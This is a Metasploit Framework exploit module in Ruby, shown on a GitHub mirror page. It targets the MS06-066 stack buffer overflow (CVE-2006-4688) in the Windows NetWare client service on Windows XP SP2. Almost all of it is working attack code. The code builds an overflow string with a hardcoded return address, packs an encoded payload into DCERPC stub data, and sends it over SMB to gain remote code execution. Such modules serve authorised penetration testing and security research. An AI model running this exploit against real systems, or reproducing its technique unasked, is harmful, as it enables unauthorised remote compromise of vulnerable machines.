mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
131 lines
3.3 KiB
Ruby
131 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Services MS06-066 nwwks.dll',
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'Description' => %q{
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This module exploits a stack buffer overflow in the svchost service, when the netware
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client service is running. This specific vulnerability is in the nwapi32.dll module.
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},
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'Author' => [ 'pusscat' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-4688'],
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[ 'OSVDB', '30260'],
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[ 'BID', '21023'],
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[ 'MSB', 'MS06-066'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "",
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'Compat' =>
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{
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# -ws2ord XXX?
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},
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP2',
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{
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'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret
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},
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 14 2006'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),
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], self.class)
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end
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def exploit
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# [in] [unique] wchar *
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# [in] [unique] wchar *
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# [out] long
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ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"
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stubdata =
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
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NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)
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print_status("Connecting to the SMB service...")
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connect()
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smb_login()
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handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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print_status("Calling the vulnerable function...")
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begin
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dcerpc.call(0x01, stubdata)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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print_status('Server did not respond, this is expected')
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rescue => e
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if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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print_status('Server disconnected, this is expected')
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else
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raise e
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end
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else
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print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
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end
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# Cleanup
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handler
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disconnect
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if (dcerpc.last_response != nil and
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dcerpc.last_response.stub_data != nil and
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dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
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return true
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else
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return false
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end
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end
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end
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